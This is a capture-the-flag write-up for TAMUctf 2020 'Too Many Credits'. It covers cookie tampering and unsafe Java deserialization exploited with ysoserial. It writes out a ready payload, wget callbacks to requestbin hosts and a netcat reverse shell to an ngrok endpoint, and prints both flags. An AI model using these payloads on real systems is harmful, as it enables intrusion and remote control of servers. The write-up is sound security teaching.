TAMUctf 2020 : Too Many Credits
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
TAMUctf 2020 | Too Many Credits | Web | 432 | 71 |
Description
Okay, fine, there’s a lot of credit systems. We had to put that guy on break; seriously concerned about that dude.
Anywho. We’ve made an actually secure one now, with Java, not dirty JS this time. Give it a whack?
If you get two thousand million credits again, well, we’ll just have to shut this program down.
Even if you could get the first flag, I bet you can’t pop a shell!
http://toomanycredits.tamuctf.com
TL;DR
Too Many Credits was a web challenge with an unsafe Java object deserialization vulnerability. This result into a blind RCE thanks to ysoserial.
Discover vulnerability
As a web challenge, I got to the given URL using a web browser, the index page looked like this:
When we click on the button, a request is send and the credit is incremented by one. Looking at the requests, we do not get any parameters. However, our cookie is changing at each request:
- Counter: “H4sIAAA…5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==”
- Counter: “H4sIAAA…5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==”
The “Counter” cookie looks like base64 encoded data. Let’s decode it:
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d
[��A79?W/�(5%�����OI��s��K�J�8o
�p��310z1��%攦V0@#�cBbR
… Maybe the data is compressed ? Let’s try gzip compression (note that if you try to edit your cookie with random value, you got a gzip error on the website). I decided to use gzip/gunzip :
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip
��sr-com.credits.credits.credits.model.CreditCount2 � $GJvaluexp
Bingo ! It looks like a Java serialized object. Lets see the difference between our two first cookies. Since we got non printable characters, I decided to get the hexadecimal view of each data using xxd
:
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip | xxd > c1.raw
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==" | base64 -d | gunzip | xxd > c2.raw
cat c1.raw c2.raw
00000000: aced 0005 7372 002d 636f 6d2e 6372 6564 ....sr.-com.cred
00000010: 6974 732e 6372 6564 6974 732e 6372 6564 its.credits.cred
00000020: 6974 732e 6d6f 6465 6c2e 4372 6564 6974 its.model.Credit
00000030: 436f 756e 7432 09db 1214 0924 4702 0001 Count2.....$G...
00000040: 4a00 0576 616c 7565 7870 0000 0000 0000 J..valuexp......
00000050: 0001 ..
00000000: aced 0005 7372 002d 636f 6d2e 6372 6564 ....sr.-com.cred
00000010: 6974 732e 6372 6564 6974 732e 6372 6564 its.credits.cred
00000020: 6974 732e 6d6f 6465 6c2e 4372 6564 6974 its.model.Credit
00000030: 436f 756e 7432 09db 1214 0924 4702 0001 Count2.....$G...
00000040: 4a00 0576 616c 7565 7870 0000 0000 0000 J..valuexp......
00000050: 0002
See c1.raw & c2.raw
The cookies are similars except for the last byte, we got 01 for our first cookie (when we got only 1 credit) and 02 for our second cookie (when we got 2 credits).
Exploiting vulnerability
The challenge say “If you get two thousand million credits again, well, we’ll just have to shut this program down.”. The 8 last bytes seems to store our credit, lets create a cookie with two thousand million credits like mentionned in the description:
python3 -c "print(hex(200000000))"
0xbebc200
Our 8 last bytes will be 0000 0000 0beb c200
.
Just save your cookie without the xxd
command and use an hexadecimal editor (like hexedit
or an online editor like hexed.it)
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip > cookie.raw
hexedit cookie.raw
Now encode your new cookie using gzip and base64:
cat cookie.raw | gzip | base64 -w 0
Note: I use option -w 0 to avoid line break in base64
H4sIAAAAAAAAA1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMAAB9+tDDACqXj+eUgAAAA==
Lets replace our cookie in our browser, and…
You have 200000001 credits. You haven’t won yet…
Ok, not enough, the description is wrong ! Let’s try with a huge value like 0000 efff ffff ffff
!
See cookie.raw
Encode it again…
cat cookie.raw | gzip | base64 -w 0
H4sIAAAAAAAAA1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMDC8/w8CAB4diOZSAAAA
Replace the counter cookie with the value. And…
We got first flag !
gigem{l0rdy_th15_1s_mAny_cr3d1ts}
Attempt command execution
As mentioned by the challenge description: Even if you could get the first flag, I bet you can’t pop a shell!. So we’re looking for a shell.
First try
The most known tool to exploit unsafe Java object deserialization is ysoserial. Looking at the website “favicon” we can guess that the website is using Spring
technology. Spring
also provide gadged used by ysoserial
to build Java ROPchain (see Spring1
and Spring2
in ysoserial
help).
After few tests using ysoserial and python bruteforcing payloads, I didn’t manage to execute a command on the server (even simple sleep didn’t worked for me).
Try harder
I decided to test the Burp
extension: Java Deserialization Scanner.
So I launched the scanner: right click on proxy request, send to "DS - Manual testing"
, select the cookie and "Set Insertion Point"
, then click on "Attack (Base64Gzip)"
. You can also use the scanner module on the Target tab.
Result:
Spring
“Sleep” payload seems to work ! Maybe it’s a false positive since I didn’t manage to get a sleep command using ysoserial
? I decided to dig into the plugin options and selected "DNS"
for exfiltration tests:
Result:
According to the plugin, Spring
DNS exfiltration seems to work too!
Few research
Since I didn’t know if TCP query were blocked or not, I decided to trigger a simple DNS query (UDP).
After few search, I found this blog which use the URLDNS
ysoserial
payload to perform DNS query. I decided to use it because the code is quite short and there might be a size limit on the server.
Note: I didn’t manage to make the URLDNS payload work at first because URLDNS do not ask for a command as a parameter but ask for a domain.
To listen to DNS query you can either use your own VPS, use a tool like ngrok or use a web service like DNSBin. I decided to use the last one and created my endpoint: *.3a312e6656771abaf0d7.d.requestbin.net
.
Note: I had to unset my proxy because burp failed with requestbin websocket.
Lets generate our payload with ysoserial
:
ysoserial URLDNS "http://TEST.3a312e6656771abaf0d7.d.requestbin.net" | gzip | base64 -w 0
H4sIAAAAAAAAA42OMU7DQBBFBxwrDkoBFBT0NBRrTIQtQQESIsKSaUjomcTr7KKVd7MeE9NwDE7BJRAnoKWm5QZIsI58AEaa0Zviv5nXb/ArCzsP+IisJqnYNVbiBo3f/3x737v/8GBzDFtKYz7GOWmbwoCE5ZXQKm/M+QW0NVwFbm673nCy4VpWcmJ3t9nLQRLv/3xZD/opBMLJL3XOU+gZbSmDAdYktJX0RLCbtcFQYbkIJ2RluTjLoFdIxZfwDJ5joSvqODBWk55r1e2e5cUaG/PbFcHh9GoyZSMcRcc8jk/iJIlwhsVRnrCcWb6seUUzWba/EkAb98ldITKmIYhaOA3D/0uaPw/LxeVPAQA
I changed my cookie, reload, and…
Ok so we got a DNS exfiltration with ysoserial
!
😊.
Blind Remote Code Execution
I decided to try a DNS resolution with wget
command and Spring
payloads. I started with Spring1
.
ysoserial Spring1 "wget http://TEST2.3a312e6656771abaf0d7.d.requestbin.net" | gzip | base64 -w 0
Then load base64 as “Counter” cookie, reload, and…
Ok, now we have a proof that a DNS resolution is performed using wget. We’ll now verify if we can make a web HTTP request using wget
. For this, I setted up a requestbin endpoint:
http://requestbin.net/r/1i6494x1
.
Let’s try our web request:
ysoserial Spring1 "wget http://requestbin.net/r/1i6494x1?test=test1" | gzip | base64 -w 0
Then load base64 as “Counter” cookie, reload, and…
We have a proof that web request are working. We’re close to the reverse shell, I decided to try a reverse shell using netcat
on the target and a ngrok listener on my computer (since people may not have VPS).
First, setup the listner:
ngrok tcp 1337
nc -lvp 1337 # in an other terminal
On the ngrok terminal I got: tcp://0.tcp.ngrok.io:13738 -> localhost:1337
which mean that data sent to ngrok on port 13738 is forwarded to my computer on port 1337.
I’ll use the following netcat reverse shell payload:
nc <IP> <PORT> -e /bin/bash
For me it’ll be my ngrok endpoint with port 13738:
nc 0.tcp.ngrok.io 13738 -e /bin/bash
The payload should connect to my ngrok an execute the bash binary through this socket.
Now let’s build our object with ysoserial:
ysoserial Spring1 "nc 0.tcp.ngrok.io 13738 -e /bin/bash" | gzip | base64 -w 0
Load base64 as “Counter” cookie, reload, and… we got a shell !
Note: we got user credits
on folder /opt/credits-1.0.0-SNAPSHOT
with a file named flag.txt
on current folder.
Flag 2: gigem{da$h_3_1s_A_l1f3seNd}
Flags
gigem{l0rdy_th15_1s_mAny_cr3d1ts}
gigem{da$h_3_1s_A_l1f3seNd}
It was a nice challenge. I got stuck at the beggining of part 2 because of the blind RCE and the fact that even sleep command didn’t work for me, that’s why I decided to dig deeper.